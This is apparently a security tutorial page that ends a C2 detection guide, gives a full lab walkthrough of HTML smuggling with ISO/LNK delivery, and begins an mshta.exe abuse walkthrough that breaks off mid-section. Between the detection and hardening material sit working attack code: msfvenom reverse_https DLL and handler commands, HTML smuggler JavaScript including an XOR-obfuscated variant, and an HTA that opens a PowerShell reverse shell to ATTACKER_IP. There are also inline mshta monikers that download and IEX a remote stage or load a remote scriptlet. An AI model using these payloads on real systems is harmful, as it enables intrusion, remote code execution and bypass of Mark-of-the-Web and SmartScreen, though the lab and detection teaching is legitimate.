11.3 Sigma Rule for Cobalt Strike Default Pipes

title: Cobalt Strike Default Named Pipe Pattern
id: 5f0f30b1-8e19-4d20-bd88-1c9b7b5c11ec
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 17
    PipeName|startswith:
      - '\MSSE-'
      - '\postex_'
      - '\status_'
      - '\msagent_'
  condition: selection
level: high

11.4 ETW and Audit Policy

  • Enable Audit Process Creation with command-line inclusion (Detailed Tracking > Include command line).
  • Turn on PowerShell Script Block Logging (EID 4104) and Module Logging.
  • Subscribe an EDR or custom agent to Microsoft-Windows-Threat-Intelligence for NtAllocateVirtualMemory / NtWriteVirtualMemory events. This is where in-process shellcode staging is most visible.
  • Watch Microsoft-Windows-DotNETRuntime for reflective assembly loads (catches CS execute-assembly and Havoc dotnet inline-execute if AMSI has not been blinded first).

11.5 Network-Level Detection

  • JARM fingerprint scan across egress destinations. Cobalt Strike team server JARM hashes are publicly documented.
  • DNS query volume analytics. DNS C2 leaks by throughput because of the 254-char subdomain encoding limit.
  • Egress proxy with TLS inspection. Plain-HTTP C2 dies on inspection; TLS C2 at least surfaces SNI, certificate CN, and request cadence.

11.6 Hardening

  • WDAC or AppLocker to block unsigned DLL loading.
  • Constrained Language Mode for PowerShell, enforce v5+ logging.
  • Credential Guard on Windows 10/11/Server 2019+, breaks LSASS read primitives.
  • Egress allow-listing. If the workstation VLAN cannot talk to arbitrary internet, half your C2 problem is already solved.

Illustration of a multi-layered defense shield blocking C2 beacon signals, representing the three detection layers of process telemetry, ETW runtime monitoring, and network inspection
Effective C2 detection operates across three concurrent layers – Sysmon process telemetry, ETW runtime events, and network fingerprinting – because malleable profiles defeat any single layer alone.

12. Tools

ToolDescriptionLink
Cobalt StrikeCommercial C2. Licensed only, do not use cracksfortra.com
HavocOpen-source Go/C2 with modern evasiongithub.com/HavocFramework/Havoc
SliverBishop Fox open-source cross-platform C2github.com/BishopFox/sliver
SysmonSysinternals process/network/pipe telemetrylearn.microsoft.com
Elastic + WinlogbeatLog pipeline for Sysmon eventselastic.co
SigmaDetection rule formatgithub.com/SigmaHQ/sigma
JARMTLS fingerprint scanner (Salesforce)github.com/salesforce/jarm
ZeekNetwork protocol analyzer for C2 trafficzeek.org
PE-bear / PE-sievePost-callback memory forensicsgithub.com/hasherezade

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Application Layer Protocol: Web ProtocolsT1071.001Sysmon EID 3, egress proxy logs, JARM
Application Layer Protocol: DNST1071.004Sysmon EID 22, DNS query volume analytics
Non-Application Layer Protocol (WireGuard)T1095NetFlow, UDP peer analysis
Process Injection: Portable Executable InjectionT1055.002Sysmon EID 8/10, TI ETW provider
Process Injection: Process HollowingT1055.012Sysmon EID 1 + 8, memory scan
Reflective Code LoadingT1620ETW Microsoft-Windows-Threat-Intelligence
Command and Scripting Interpreter: PowerShellT1059.001EID 4104 script block, 4103 module log
OS Credential Dumping: LSASS MemoryT1003.001Sysmon EID 10 on lsass.exe, Credential Guard
Access Token Manipulation: Token ImpersonationT1134.0014624/4672 logon events, EDR token tracking
Lateral Movement: SMB/Windows Admin SharesT1021.0024624 type 3, Sysmon EID 3, 5140/5145 file share
Ingress Tool TransferT1105Proxy logs, EDR file-write telemetry
Encrypted Channel: Asymmetric CryptographyT1573.002TLS metadata, JARM/JA3
Cobalt Strike (Software)S0154Community rules, JARM fingerprint set
Sliver (Software)S0633Canary domain hits, static Go binary heuristics

Summary

  • A C2 framework is a team server, an implant, and a listener protocol. Everything else, profiles, BOFs, sleep obfuscation, pivots, is a feature bolted on that triangle.
  • Cobalt Strike sets the ergonomic bar (Beacon, malleable profiles, Aggressor, BOFs) but its default artifacts are the most heavily signatured in the industry.
  • Havoc’s Demon bakes modern evasion in by default: Ekko sleep obfuscation, indirect syscalls, hardware breakpoint AMSI/ETW patching, and stack duplication.
  • Sliver is the cross-platform Go workhorse: mTLS/gRPC multiplayer, per-binary keys, WireGuard/DNS transports, canary domains, and an Armory of community modules.
  • Detection lives at three layers: process telemetry (Sysmon EID 1/8/10/17), runtime telemetry (ETW Threat-Intelligence, AMSI, script block logging), and network (JARM/JA4, DNS volume, egress inspection). Malleable profiles will bend static rules; behavior-based detections are what still catch these frameworks in the wild.

Related Tutorials

HTML Smuggling and ISO/IMG-Based Payload Delivery

Objective: Build a working HTML smuggling delivery chain in a lab, drop a container (ISO) that bypasses Mark-of-the-Web, land a shell via a LNK-inside-ISO pattern, then flip to defender and catch every stage with Sysmon, Sigma, and hardening controls.


The interesting thing about HTML smuggling is that nothing about it is a vulnerability. There is no CVE. There is no memory corruption. You are just using HTML5 and JavaScript exactly the way the spec says you can, and the file never crosses a network boundary as a file. Your web proxy sees text/html. Your SEG sees text/html. Your NGFW’s file inspection engine sees text/html. Meanwhile the browser is quietly reassembling a payload in RAM and writing it to Downloads\.

Pair that with an ISO container, and you have removed the second layer of defense too: Mark-of-the-Web. SmartScreen never fires because SmartScreen never sees a marked binary. This is the exact chain NOBELIUM ran in 2021, that QakBot ran to stage Black Basta in 2022, and that keeps showing up in Mekotio, AsyncRAT, and TrickBot samples. This tutorial builds it end to end in an isolated lab, then shows how a competent blue team catches the whole sequence.

Lab is host-only. No internet egress. Attacker VM is Kali, victim is a Windows 10/11 VM with Defender on and Sysmon v14+ installed. Nothing here is aimed at a live target and no unpatched CVE is used – the primitives themselves are the lesson.


1. Why the Perimeter Cannot See This

Think about where a traditional email/web control actually intercepts a file. A secure email gateway scans the attachment MIME parts on ingress. A web proxy inspects the response body for known bad file signatures or hashes. Network DPI matches magic bytes as bytes cross the wire.

HTML smuggling breaks all three assumptions at once. The wire only ever carries an HTML document containing JavaScript. The file (the ISO, the ZIP, the DLL, whatever) is assembled inside the browser after decoding a string that was embedded in the HTML. There is no “download” from the gateway’s perspective, because Blob construction and URL.createObjectURL() are entirely local operations. The blob: URL scheme is a pointer into the browser’s own memory.

The blue-team implication: you cannot catch this at the perimeter with signature matching alone. Detection moves onto the endpoint, specifically into the NTFS Zone.Identifier stream and the process tree that follows. More on that in Section 9.


Conceptual illustration of HTML smuggling bypassing a perimeter checkpoint, with a payload assembling inside after the gate
HTML smuggling never presents a file to the perimeter – only a document – so gateway inspection finds nothing to block.

2. JavaScript Blob Mechanics

Before writing the smuggler, understand exactly which APIs it leans on and why.

APIPurpose
atob()Decodes a Base64 string into a binary string (each char = one byte, 0-255)
Uint8ArrayTyped array holding raw bytes; the Blob constructor accepts it directly
new Blob([data], {type})Builds an in-memory binary object with a MIME type
URL.createObjectURL(blob)Returns a blob: URL that references the in-memory Blob
URL.revokeObjectURL(url)Releases the reference so the Blob can be GC’d
<a download="name">HTML5 attribute that forces a save-as instead of navigation
msSaveBlob(blob, name)Legacy IE/Edge-Legacy API. Deprecated. Modern samples do not use it.

One accuracy note the research brief calls out: msSaveBlob shows up in older writeups and in the MITRE T1027.006 description, but it only exists in IE and pre-Chromium Edge. Any current smuggler you look at will use createObjectURL and a synthetic anchor click. Present it that way.

The rest of the chain is just DOM: create an <a> element, set href to the Blob URL, set download to the filename the victim will see, append it to document.body, call .click(). That is the entire delivery mechanism.


3. Lab Setup

Two VMs, host-only network, 192.168.56.0/24.

HostOSRoleIP
AttackerKali LinuxServes smuggler HTML, runs C2 handler192.168.56.10
VictimWindows 10/11 (Defender on, Sysmon v14+ with SwiftOnSecurity config)Detonates payload192.168.56.20

Install requirements on Kali:

sudo apt install -y genisoimage python3 metasploit-framework

On the Windows victim, install Sysmon with a config that logs FileCreateStreamHash (EID 15) with Contents. Sysmon v11.10+ can capture ADS contents, and you want that.

Sysmon64.exe -accepteula -i sysmonconfig-export.xml
Get-Service Sysmon64

One important note about the victim’s patch level. Microsoft’s KB5022842 (Feb 2023, Win 11 22H2) began propagating MoTW into some container contents. If your Windows victim is fully patched, files inside a mounted ISO may inherit Zone.Identifier and SmartScreen will fire. To reproduce the classic NOBELIUM behavior you either want a pre-KB5022842 Win 10 image, or you accept that on modern Win 11 the bypass is now partial and the tutorial’s job is to show why the primitive worked and how detection stayed relevant either way. Test which side you are on before going further:

Get-HotFix | Where-Object HotFixID -eq 'KB5022842'

4. Craft the C2 Beacon

Generate a stageless HTTPS Meterpreter DLL. For a real engagement you would swap this for a custom shellcode loader. For lab work, msfvenom is fine and gives you predictable telemetry to hunt against.

msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.56.10 LPORT=4443 \
  -f dll -o lab_beacon.dll

Kick off the handler in another terminal so it is ready when the victim detonates:

msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST 192.168.56.10; set LPORT 4443; \
  set ExitOnSession false; exploit -j"

5. Build the ISO Payload

The trick that makes ISO a MoTW bypass primitive is that ISO 9660 and UDF are not NTFS. MoTW is an NTFS Alternate Data Stream (:Zone.Identifier). No NTFS, no ADS. When Explorer auto-mounts an ISO on double-click, the files on the resulting virtual drive letter have never had a Zone.Identifier applied to them, so SmartScreen has nothing to check against.

Add a LNK that points to a Living-Off-the-Land binary (LOLBin) which loads your DLL. rundll32.exe is the classic choice and matches the NOBELIUM tradecraft.

On a Windows prep VM, build the ISO staging folder:

mkdir C:\LabISO
Copy-Item .\lab_beacon.dll C:\LabISO\lab_beacon.dll

$shell = New-Object -ComObject WScript.Shell
$lnk   = $shell.CreateShortcut("C:\LabISO\Documents.lnk")
$lnk.TargetPath       = "C:\Windows\System32\rundll32.exe"
$lnk.Arguments        = "lab_beacon.dll,DllMain"
$lnk.WorkingDirectory = "%CD%"
$lnk.IconLocation     = "%SystemRoot%\System32\shell32.dll,1"
$lnk.Save()

Copy C:\LabISO\ to the Kali box (SMB, SCP, shared folder, doesn’t matter), then package it with genisoimage:

genisoimage -o lab_payload.iso \
  -V "DOCUMENTS" \
  -J -r \
  /home/kali/LabISO/

-J enables Joliet, -r enables Rock Ridge. You want both so the LNK filename survives cleanly on Windows. Quick sanity check:

isoinfo -l -i lab_payload.iso
ls -lh lab_payload.iso

Base64 the ISO for embedding in the HTML:

base64 -w 0 lab_payload.iso > lab_payload.b64
wc -c lab_payload.b64

A word of warning that cost me an hour the first time I did this: browsers handle multi-megabyte inline Base64 strings fine but the parse-and-decode step is noticeably slow, and the tab will look frozen for a few seconds on a large payload. Keep the beacon DLL small.


6. Build the HTML Smuggler

Three variants worth practicing. Start with the plain auto-download, then layer obfuscation.

6.1 Variant A: Auto-download on load

<!doctype html>
<html>
<head><title>Secure Document Viewer</title></head>
<body>
<p>Loading secure document viewer...</p>
<script>
  // Base64-encoded ISO. In the lab, paste the contents of lab_payload.b64 here.
  var b64 = "TERMPKAAAAA..."; // truncated

  // atob() decodes Base64 into a binary string: each char code is one byte 0-255.
  var binary = atob(b64);

  // Copy those bytes into a typed array so Blob gets raw bytes, not UTF-16.
  var bytes = new Uint8Array(binary.length);
  for (var i = 0; i < binary.length; i++) {
    bytes[i] = binary.charCodeAt(i);
  }

  // Assemble the file in memory. Nothing has hit disk yet.
  var blob = new Blob([bytes], { type: 'application/octet-stream' });

  // createObjectURL returns a blob:https://... URL that only this document can resolve.
  var url  = URL.createObjectURL(blob);

  // Synthesize an <a download> and click it. This is what actually writes to Downloads\.
  var link = document.createElement('a');
  link.href     = url;
  link.download = 'Documents.iso';
  document.body.appendChild(link);
  link.click();

  // Free the Blob URL. The file is already on disk; the URL is no longer needed.
  URL.revokeObjectURL(url);
</script>
</body>
</html>

The Uint8Array copy loop is not optional. If you pass the binary string directly to Blob, the browser stores it as UTF-16 code units and your ISO ends up with the wrong bytes. charCodeAt(i) gives you the raw byte value because atob returned a string of Latin-1 characters.

6.2 Variant B: Click-triggered

Some detonation environments (sandboxes, headless scanners) navigate to a page and record what happens. Requiring a click delays and can dodge naive analysis:

<button id="dl">Download Report</button>
<script>
document.getElementById('dl').addEventListener('click', function() {
  // ... identical Blob/anchor logic as Variant A
});
</script>

6.3 Variant C: XOR-obfuscated payload

Adding a single-byte XOR before Base64 defeats static string scanning of the HTML for MZ headers or ISO signatures. The QakBot family did versions of this.

Prep on Kali:

# xor_encode.py
key = 0x42
with open("lab_payload.iso","rb") as f: data = f.read()
enc = bytes(b ^ key for b in data)
import base64
open("lab_payload_xor.b64","w").write(base64.b64encode(enc).decode())

Smuggler:

<script>
  var key = 0x42;
  var b64 = "..."; // XOR-then-Base64 blob
  var binary = atob(b64);
  var bytes  = new Uint8Array(binary.length);
  for (var i = 0; i < binary.length; i++) {
    bytes[i] = binary.charCodeAt(i) ^ key;   // undo XOR on the fly
  }
  var blob = new Blob([bytes], { type: 'application/octet-stream' });
  var url  = URL.createObjectURL(blob);
  var a    = document.createElement('a');
  a.href = url; a.download = 'Documents.iso';
  document.body.appendChild(a); a.click();
  URL.revokeObjectURL(url);
</script>

Adds detection surface where it takes it away, though. A payload with atob next to a decoding loop and a Uint8Array and a Blob and an <a download> is a strong static signal on its own, XOR key or not. That is a real thing defenders key on: YARA rules for HTML smuggling do not chase specific strings, they chase the combination of these APIs in one document.


7. Deliver and Execute

On Kali:

cd ~/deliver
cp lab_smuggler.html index.html
python3 -m http.server 8080

On the victim, browse to http://192.168.56.10:8080/. Watch what happens:

  1. Page loads. Static-content scanner sees text/html and lets it through.
  2. JS decodes the ISO, builds the Blob, synthesizes the anchor, clicks it.
  3. Browser writes Documents.iso to %USERPROFILE%\Downloads\.
  4. That file does get a Zone.Identifier ADS – the browser is still an internet source. Open it in a text editor to see:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://192.168.56.10:8080/
HostUrl=blob:http://192.168.56.10:8080/8a4d...

That HostUrl=blob:... is the fingerprint. There is no non-suspicious reason for a real user’s downloaded file to have a blob: HostUrl.
5. User double-clicks Documents.iso. Explorer auto-mounts it as, say, E:\.
6. Inside E:\, Documents.lnk and lab_beacon.dll sit with no MoTW.
7. User double-clicks Documents.lnk. Explorer calls ShellExecute, which runs rundll32.exe lab_beacon.dll,DllMain from E:\.
8. Beacon calls back to 192.168.56.10:4443. SmartScreen never fired.

Meterpreter session lands in the handler you left running. You now have execution as the logged-in user with no prompts touched.


Flow diagram showing the full HTML smuggling and ISO delivery attack chain from browser fetch through Blob assembly, ISO drop, auto-mount, LNK execution, and C2 callback
Each stage of the chain defeats a specific control: Blob assembly defeats the gateway, ISO defeats MoTW, and a LOLBin LNK defeats SmartScreen.

8. Why the Chain Works, in One Table

StageControl it defeatsWhy
HTML smuggling (Blob)Web proxy / SEG file inspectionNo file crosses the wire, only HTML+JS
Base64 (+ optional XOR) in HTMLStatic string / signature scanningPayload bytes not present in transit
ISO containerMark-of-the-Web propagationISO 9660 / UDF has no NTFS ADS
LNK inside ISOSmartScreen promptFiles on mounted ISO drive have no Zone.Identifier
rundll32 from ISOApplication allowlisting (weak configs)LOLBin is signed and permitted by default

The important thing here is that each layer targets a specific control. That is why “just block one” is not enough on the defender side.


9. Detection and Defense

Detection lives on the endpoint, and it lives specifically in Sysmon and the process tree. The signal is very strong if you look in the right places.

9.1 Sysmon events that matter

Event IDNameWhat it catches
11FileCreateBrowser writing .iso/.img/.vhd/.vhdx/.zip to Downloads
15FileCreateStreamHashThe Zone.Identifier ADS being written, including its contents
23FileDelete (archive-enabled)Attackers stripping Zone.Identifier post-download
1ProcessCreaterundll32.exe running with a DLL path on a mounted drive letter
22DnsQueryC2 lookup right after the LNK execution

The single highest-signal event in this whole chain is Event ID 15 with a Contents field containing HostUrl=blob:. That is the fingerprint of an HTML-smuggled file, full stop. There is not a benign explanation for that string in a Zone.Identifier on a normal user endpoint. Sysmon started supporting ADS content capture in 11.10, so ensure your config actually asks for it:

<RuleGroup name="" groupRelation="or">
  <FileCreateStreamHash onmatch="include">
    <Rule name="HTML_Smuggling" groupRelation="and">
      <TargetFilename condition="end with">:Zone.Identifier</TargetFilename>
      <Contents condition="contains any">blob:;about:internet</Contents>
    </Rule>
  </FileCreateStreamHash>
</RuleGroup>

9.2 Sigma rules

These are the building blocks. Chain them for higher-fidelity detection. The chain rule concept comes from Micah Babinski’s public research (id: 0952f2fa-e29b-4eb5-831c-ce21520c56e3, marked experimental) – link out to the source and run the individual rules first before you graduate to sequencing.

title: Browser Drops Disk Image or Archive to Downloads
id: 11111111-aaaa-bbbb-cccc-000000000001
logsource:
  product: windows
  category: file_event
detection:
  selection:
    Image|endswith:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
      - '\iexplore.exe'
    TargetFilename|endswith:
      - '.iso'
      - '.img'
      - '.vhd'
      - '.vhdx'
      - '.zip'
  condition: selection
level: medium
title: HTML Smuggling Zone.Identifier Blob URL Marker
id: 11111111-aaaa-bbbb-cccc-000000000002
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|endswith: ':Zone.Identifier'
    Contents|contains:
      - 'HostUrl=blob:'
      - 'about:internet'
  condition: selection
level: high
title: Rundll32 Executing from Mounted Disk Image
id: 11111111-aaaa-bbbb-cccc-000000000003
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\rundll32.exe'
    CommandLine|re: '(?i)[D-Z]:\\[^\\]+\.dll'
    ParentImage|endswith: '\explorer.exe'
  condition: selection
level: high

Sequence them: Rule 1 fires, then Rule 2 fires on the same file within seconds, then Rule 3 fires within minutes with a matching drive letter. That is the whole chain and it is very hard to produce those three events benignly.

9.3 ETW and audit policy

Complement Sysmon with:

  • Microsoft-Windows-Kernel-File for image mount events
  • Microsoft-Windows-Shell-Core for ShellExecute invocations from LNK
  • Audit Object Access with a SACL on %USERPROFILE%\Downloads for high-value users

Enable command-line logging so the rundll32 lab_beacon.dll,DllMain string actually lands in EID 4688 / Sysmon EID 1:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" `
  /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
auditpol /set /subcategory:"File System" /success:enable /failure:enable

9.4 Hardening

None of these alone is a fix. Layered they close most of the chain.

  1. Kill Explorer’s auto-mount of disk images. Remove or repoint the mount verb on HKCR\Windows.IsoFile\shell\mount and the .iso/.img/.vhd/.vhdx file associations. Users can still open images with disk tooling; casual double-click detonation dies.
  2. Block container types at the gateway. ISO/IMG/VHD/VHDX are almost never a legitimate business attachment. Drop them at the SEG and the web proxy.
  3. Turn on ASR rule 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC (“Block execution of potentially obfuscated scripts”). Set to Block, not Audit, once you have baselined.
  4. Deploy CDR on inbound HTML. Content-Disarm-and-Reconstruct strips the JavaScript from inline HTML attachments. Kills the primitive at the door.
  5. Patch MoTW propagation. KB5022842 and later propagate MoTW into some container contents. Test your Windows version explicitly; do not assume.
  6. WDAC / AppLocker. Deny rundll32.exe loading DLLs from any non-fixed drive letter. This alone breaks the LNK-in-ISO pattern regardless of MoTW.

10. Purple Team Validation

Do not trust that your rules fire. Prove it.

Detonate the smuggler again with logging cranked up, then walk the artifacts:

# Confirm the smuggling marker on the downloaded ISO
Get-Content "$env:USERPROFILE\Downloads\Documents.iso" -Stream Zone.Identifier

# Confirm the LNK inside the mount has NO Zone.Identifier (proving the bypass)
Get-Item E:\Documents.lnk -Stream * | Select-Object Stream

# Pull the Sysmon events
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=15} `
  -MaxEvents 20 | Where-Object { $_.Message -match 'blob:' }

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} `
  -MaxEvents 50 | Where-Object { $_.Message -match 'rundll32.exe' -and $_.Message -match ':\\' }

You should see:

  • EID 15 with HostUrl=blob:... on Documents.iso
  • Zero streams on the LNK inside the mount
  • EID 1 with rundll32.exe running from a non-C drive with your DLL argument
  • EID 22 with the DNS query (if you gave the handler a hostname)

If any of those did not fire, fix the Sysmon config before you claim the detection.


11. Tools

ToolUseLink
genisoimage / mkisofsBuild ISO on Linux(packaged)
msfvenom / msfconsoleBeacon and handlermetasploit.com
Sysmon + SwiftOnSecurity configEndpoint telemetrysysinternals.com
SigmaDetection rule authoringsigmahq.io
NirSoft AlternateStreamViewInspect NTFS ADSnirsoft.net
Process MonitorConfirm process tree, mounted-drive I/Osysinternals.com
PE-bear / CFF ExplorerInspect the DLL you generated(varies)

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Obfuscated Files or Information: HTML SmugglingT1027.006Sysmon EID 15 with HostUrl=blob: in Zone.Identifier
Subvert Trust Controls: MoTW BypassT1553.005Files inside mounted ISO lacking Zone.Identifier
Phishing: Spearphishing LinkT1566.002Proxy/URL logs to the smuggler page
User Execution: Malicious FileT1204.002EID 1 on Documents.lnk invocation from mount
System Binary Proxy Execution: Rundll32T1218.011EID 1 for rundll32.exe with DLL on non-fixed drive
Application Layer Protocol: Web ProtocolsT1071.001EID 22 / proxy egress to C2 host

Summary

  • HTML smuggling plus ISO delivery works because each layer defeats a specific control: Blob assembly kills perimeter file inspection, and ISO kills Mark-of-the-Web propagation.
  • The delivery chain is HTML → in-browser Blob → ISO on disk → auto-mount → LNK → rundll32 → C2. Every stage is documented adversary tradecraft (NOBELIUM, QakBot, Mekotio).
  • The strongest single detection is Sysmon Event ID 15 with HostUrl=blob: in a downloaded file’s Zone.Identifier stream. That string is not benign.
  • Layered defense actually works here: disable ISO auto-mount, block containers at the gateway, enable ASR obfuscated-script blocking, WDAC-restrict rundll32 off removable drives, and stay current on MoTW-propagation patches (KB5022842+).
  • Validate detections by detonating in the lab, not by reading rule YAML. If the events did not land, the detection does not exist.

Related Tutorials

References

HTA Files and mshta.exe Abuse for Payload Delivery

Objective: Build, deliver, and execute HTA payloads against a lab Windows host through mshta.exe, walk every variant from on-disk file to fully fileless inline monikers, then turn around and engineer the detection a defender needs to catch all of it.


mshta.exe is the kind of binary that should embarrass Microsoft into deprecating it, and yet here it is in 2025, sitting in System32, signed, trusted, and quietly executing whatever VBScript a user double-clicks. Internet Explorer is gone. The MSHTML rendering engine it depends on is officially legacy. The .hta extension is from the Windows 2000 era. None of that matters. As long as mshta.exe ships on every install, red teamers will use it, and you will see it in your logs.

This walkthrough is built around a single lab Windows 10/11 VM and an attacker box (Kali or any Linux with Python 3). No EDR for the offensive phase, then Sysmon turned on for the defensive phase so you can watch your own payloads light up the rule set you write. Everything runs in user context. No CVEs. No kernel work. Just a signed Microsoft binary being asked, very politely, to host a reverse shell.


1. What mshta.exe Actually Is

The Microsoft HTML Application Host lives at C:\Windows\System32\mshta.exe (and SysWOW64). It is a small wrapper around the Trident MSHTML engine: the same rendering and scripting stack that powered legacy Internet Explorer. When mshta.exe runs an HTA, it loads mshtml.dll to parse the HTML, then dispatches script blocks to vbscript.dll or jscript.dll via the standard COM scripting engine plumbing.

The critical difference from IE: HTA content does not run inside Protected Mode and is not constrained by Internet Explorer security zones. The HTA process is a desktop application that happens to be parsing HTML. It has the full token of the user who launched it. Filesystem, registry, COM, network, all reachable.

ItemDetail
Binary pathC:\Windows\System32\mshta.exe, C:\Windows\SysWOW64\mshta.exe
Display nameMicrosoft HTML Application Host
SigningAuthenticode-signed by Microsoft
Rendering enginemshtml.dll (Trident)
Script enginesvbscript.dll, jscript.dll (via COM)
Default association.hta files via the htafile ProgID

Confirm it on your lab box:

where.exe mshta.exe
Get-AuthenticodeSignature C:\Windows\System32\mshta.exe | Select Status, SignerCertificate
cmd /c "assoc .hta"
cmd /c "ftype htafile"

You should see Valid signing status and the htafile association pointing at mshta.exe "%1" %*. That association is the entire premise of phishing-delivered HTAs: a user double-clicks Invoice.hta and Explorer happily launches a signed Microsoft binary that hands the script block to VBScript.


2. HTA File Anatomy

An HTA file is an HTML file with one extra tag, <HTA:APPLICATION>, that tells Trident to drop the browser chrome and treat the document as a desktop app. The tag also exposes attributes that double as evasion knobs.

AttributeWhat it doesWhy an attacker cares
APPLICATIONNAMESets the app nameCosmetic
WINDOWSTATEnormal, minimize, maximizeminimize hides the window
SHOWINTASKBARyes / nono removes the taskbar icon
BORDERWindow border stylenone removes chrome
CAPTIONTitle barno removes title bar
SINGLEINSTANCEPrevents duplicatesSometimes used to avoid double-pop

Here is a benign HTA, so you can see the shape before we weaponize it. Save as hello.hta and double-click it:

<html>
<head>
  <HTA:APPLICATION ID="hello"
    APPLICATIONNAME="HelloLab"
    WINDOWSTATE="normal"
    SHOWINTASKBAR="yes">
  </HTA:APPLICATION>
  <script language="VBScript">
    MsgBox "Running inside mshta.exe as " & CreateObject("WScript.Network").UserName
  </script>
</head>
<body><h2>Hello from HTA</h2></body>
</html>

You will get a real MessageBox with your username, popped by a signed Microsoft binary. Point of view: any time a binary with that much trust will execute arbitrary script from a user-controlled file, the security boundary is the user’s judgement, which is to say there is no boundary.

One quirk worth remembering: mshta.exe‘s parser is sloppy. The <hta:application> tag is not actually required. If you feed mshta HTML or raw script via a vbscript: or javascript: moniker, it will run it. This is what makes the fileless variants in Section 5 possible.


3. Execution Vectors

mshta.exe accepts payloads from far too many places. Memorize this table, because every detection rule you write has to cover all of it:

VectorSyntax
File on diskmshta.exe C:\Users\victim\payload.hta
Remote URLmshta.exe http://attacker/payload.hta
Inline VBScript monikermshta vbscript:Close(Execute("..."))
Inline JScript monikermshta javascript:a=(...).Exec();close();
COM Scriptletmshta javascript:a=(GetObject("script:http://attacker/p.sct")).Exec();close();
about: protocolmshta "about:<hta:application><script>...</script>"
NTFS Alternate Data Streammshta C:\file.txt:hidden.hta
Polyglot in another fileHTA content appended to a PE; mshta scans until it finds script

A single Sigma rule on Image|endswith: '\mshta.exe' and CommandLine|contains: 'http' catches a chunk of this but misses the inline vbscript: and ADS variants. Coverage takes layered rules. We will build them in Section 8.


Graph showing five delivery vectors feeding into mshta.exe which then spawns WScript.Shell or WMI leading to powershell.exe
Every path converges on the same signed host – one binary, five distinct delivery primitives, all landing in the same script execution context.

4. Lab: Building and Serving a Staged HTA Payload

Lab topology: Kali at 192.168.56.10, Windows 10 victim at 192.168.56.20. Replace ATTACKER_IP below with your Kali address.

On the attacker host, stand up two things: a listener and an HTTP server.

# Terminal 1: PowerShell reverse shell listener
rlwrap nc -lvnp 4444

# Terminal 2: HTTP server to host the HTA
mkdir /tmp/hta && cd /tmp/hta
python3 -m http.server 8080

Drop the following file as /tmp/hta/payload.hta. This is a deliberately stealthy HTA: minimized window, no taskbar, no border, no caption. The user sees nothing.

<html>
<head>
  <HTA:APPLICATION ID="lab"
    APPLICATIONNAME="LabApp"
    WINDOWSTATE="minimize"
    SHOWINTASKBAR="no"
    BORDER="none"
    CAPTION="no">
  </HTA:APPLICATION>
  <script language="VBScript">
    Dim oShell
    Set oShell = CreateObject("WScript.Shell")
    ' Lab-only reverse shell stager. Replace ATTACKER_IP.
    oShell.Run "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass " & _
               "-Command ""$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);" & _
               "$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0)" & _
               "{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)" & _
               ";$e=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($e,0,$e.Length)}""", 0, False
    self.close
  </script>
</head>
<body></body>
</html>

Trigger from the victim. Each of these is its own primitive worth understanding:

:: 1. File on disk (post-phishing-download model)
mshta.exe C:\Users\victim\Downloads\payload.hta

:: 2. Remote fetch (the cleaner red-team vector - no .hta touches disk
::    except the cached MSHTML temp file)
mshta.exe http://ATTACKER_IP:8080/payload.hta

On Kali, the nc listener prints a connection and you get an interactive PowerShell. whoami returns the victim user, hostname returns the victim machine.

listening on [any] 4444 ...
connect to [192.168.56.10] from victim [192.168.56.20] 49874
PS C:\Users\victim>

Small gotcha I lost an hour to the first time: if you embed the PowerShell command with mismatched double quotes inside the VBScript string concatenation, mshta.exe will execute the HTA but the powershell.exe child silently dies with a parse error and no callback. Test the PowerShell command in isolation first (powershell -Command "..." from cmd), confirm it talks to your listener, then paste it into the VBScript.


5. Fileless Delivery via Inline Monikers

This is what makes mshta.exe the LotL favorite it is. You never need an HTA file on disk. cmd.exe (or a phishing link, or a LNK file, or a scheduled task) can hand mshta.exe the entire payload as a command-line argument.

:: VBScript inline - fetch and IEX a PowerShell stage two
mshta vbscript:CreateObject("WScript.Shell").Run("powershell -NoP -W Hidden -EP Bypass -Command IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/stage2.ps1'))",0,False)(window.close)

:: JScript inline via COM Scriptlet
mshta javascript:a=(GetObject("script:http://ATTACKER_IP:8080/payload.sct")).Exec();close();

Forensic footprint comparison:

VariantDisk artifactNetwork artifact
File-based payload.htaThe .hta itself, plus MSHTML cache in INetCacheOutbound from powershell.exe
Remote mshta http://...MSHTML cached copy in INetCache\IEOutbound from mshta.exe to the HTA URL
Inline vbscript:None from mshta; cmd line in 4688/SysmonOutbound only when stage two fires
.sct via GetObjectNone on mshta sideOutbound to .sct URL

The reason mshta.exe is the perfect LotL host: the entire payload lives in process memory of a Microsoft-signed binary. No EXE drops. No DLL drops. The only persistent artifact is the command line, which is exactly why command-line logging (Event 4688 with command line, Sysmon 1) is the single most useful thing you can turn on.

The .sct (COM Scriptlet) for the JScript variant looks like this. Drop in /tmp/hta/payload.sct:

<?XML version="1.0"?>
<scriptlet>
  <registration description="Lab" progid="Lab.Shell" version="1"
    classid="{DEADBEEF-0000-0000-0000-000000000001}">
  </registration>
  <public>
    <method name="Exec"></method>
  </public>
  <script language="JScript">
  <![CDATA[
    function Exec() {
      var shell = new ActiveXObject("WScript.Shell");
      shell.Run("cmd.exe /c whoami > C:\\Windows\\Temp\\lab_out.txt", 0, false);
    }
  ]]>
  </script>
</scriptlet>

